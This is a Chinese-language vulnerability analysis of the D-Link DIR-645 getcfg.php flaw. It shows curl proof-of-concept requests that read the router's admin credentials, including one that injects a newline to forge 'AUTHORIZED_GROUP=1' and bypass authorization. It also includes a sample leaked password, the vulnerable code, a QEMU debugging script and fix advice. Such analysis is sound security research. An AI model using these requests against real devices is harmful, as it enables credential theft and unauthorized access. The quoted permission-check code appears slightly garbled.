Dlink getcfg.php远程敏感信息读取漏洞分析
字数 1105 2025-08-26 22:11:15
D-Link DIR-645 getcfg.php 远程敏感信息读取漏洞分析
漏洞概述
本漏洞影响 D-Link DIR-645 路由器多个固件版本(1.02-1.06),允许攻击者通过构造特殊请求读取设备敏感信息,如管理员账户和密码。漏洞存在于 getcfg.php 文件中,1.02 及之前版本因缺乏权限校验可直接访问,1.03 及之后版本虽增加了权限检查但存在逻辑缺陷可绕过。
漏洞影响版本
- 1.02 及之前版本:直接访问漏洞
- 1.03-1.06 版本:权限检查绕过漏洞
漏洞复现
1.02 版本 PoC
curl -d "SERVICES=DEVICE.ACCOUNT" http://xx.xx.xx.xx/getcfg.php
成功响应示例:
<uid>USR-</uid>
<name>admin</name>
<usrid></usrid>
<password>Haan1324</password>
1.03 及之后版本 PoC
curl -d "SERVICES=DEVICE.ACCOUNT&attack=ture%0aAUTHORIZED_GROUP=1" "http://xx.xx.xx.xx/getcfg.php"
漏洞分析
1.02 版本分析
文件路径:/htdocs/web/getcfg.php
关键代码:
$SERVICE_COUNT = cut_count($_POST["SERVICES"]);
TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
$SERVICE_INDEX = 0;
while ($SERVICE_INDEX < $SERVICE_COUNT) {
$GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX.GETCFG_SVC);
if ($GETCFG_SVC!="") {
$file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
if (isfile($file)=="1")
dophp("load", $file);
}
$SERVICE_INDEX++;
}
漏洞成因:
- 直接接收并处理
SERVICES参数 - 拼接路径
/htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml.php - 包含并执行该文件导致信息泄露
1.03 及之后版本分析
文件路径仍为 /htdocs/web/getcfg.php,但增加了权限检查:
if(is_power_user() == 1) {
// 原有处理逻辑
} else {
echo "\t<result>FAILED</result>\n";
echo "\t<message>Not authorized</message>\n";
}
is_power_user() 函数:
function is_power_user() {
if($_GLOBALS["AUTHORIZED_GROUP"]) {
return 0;
}
if($_GLOBALS["AUTHORIZED_GROUP"] < 0) {
return 0;
}
return 1;
}
绕过原理:
- PHP 请求由
/htdocs/cgibin处理 - 参数以键值对形式存储,用
\n分隔 - 攻击者可在 POST 数据中插入
\n伪造AUTHORIZED_GROUP=1 - 由于参数解析顺序,伪造的值会覆盖真实值
cgibin 程序分析
关键流程:
- 根据请求方法(POST/GET)选择参数处理函数
- 参数以
_TYPE_KEY=VALUE形式存储,\n分隔 - 权限验证后添加
AUTHORIZED_GROUP=%d到字符串 - 调用
xmldbc_ephp执行 PHP
漏洞利用点:
- 参数解析时允许
\n字符 - 伪造的
AUTHORIZED_GROUP会覆盖真实值
动态调试
使用 QEMU 用户模式调试脚本 cgi_run_phpcgi.sh:
#!/bin/bash
INPUT=`python -c "print 'SERVICES=DEVICE.ACCOUNT&attack=ture\nAUTHORIZED_GROUP=1'"`
LEN=$(echo $INPUT | wc -c)
PORT="1234"
cp $(which qemu-mipsel-static) ./qemu
echo "$INPUT" | chroot . ./qemu -0 "/phpcgi" \
-E CONTENT_LENGTH=$LEN \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E REQUEST_METHOD="POST" \
-E REQUEST_URI="/getcfg.php" \
-E REMOTE_ADDR="127.0.0.1" \
-g $PORT ./htdocs/cgibin
rm -f ./qemu
调试关键点:
- 观察
strobj结构体中参数存储方式 - 验证伪造的
AUTHORIZED_GROUP如何覆盖真实值
其他受影响文件
/htdocs/webinc/fatlady.php 也存在类似漏洞
修复建议
- 严格校验用户输入
- 修复参数解析逻辑,禁止特殊字符
- 加强权限验证机制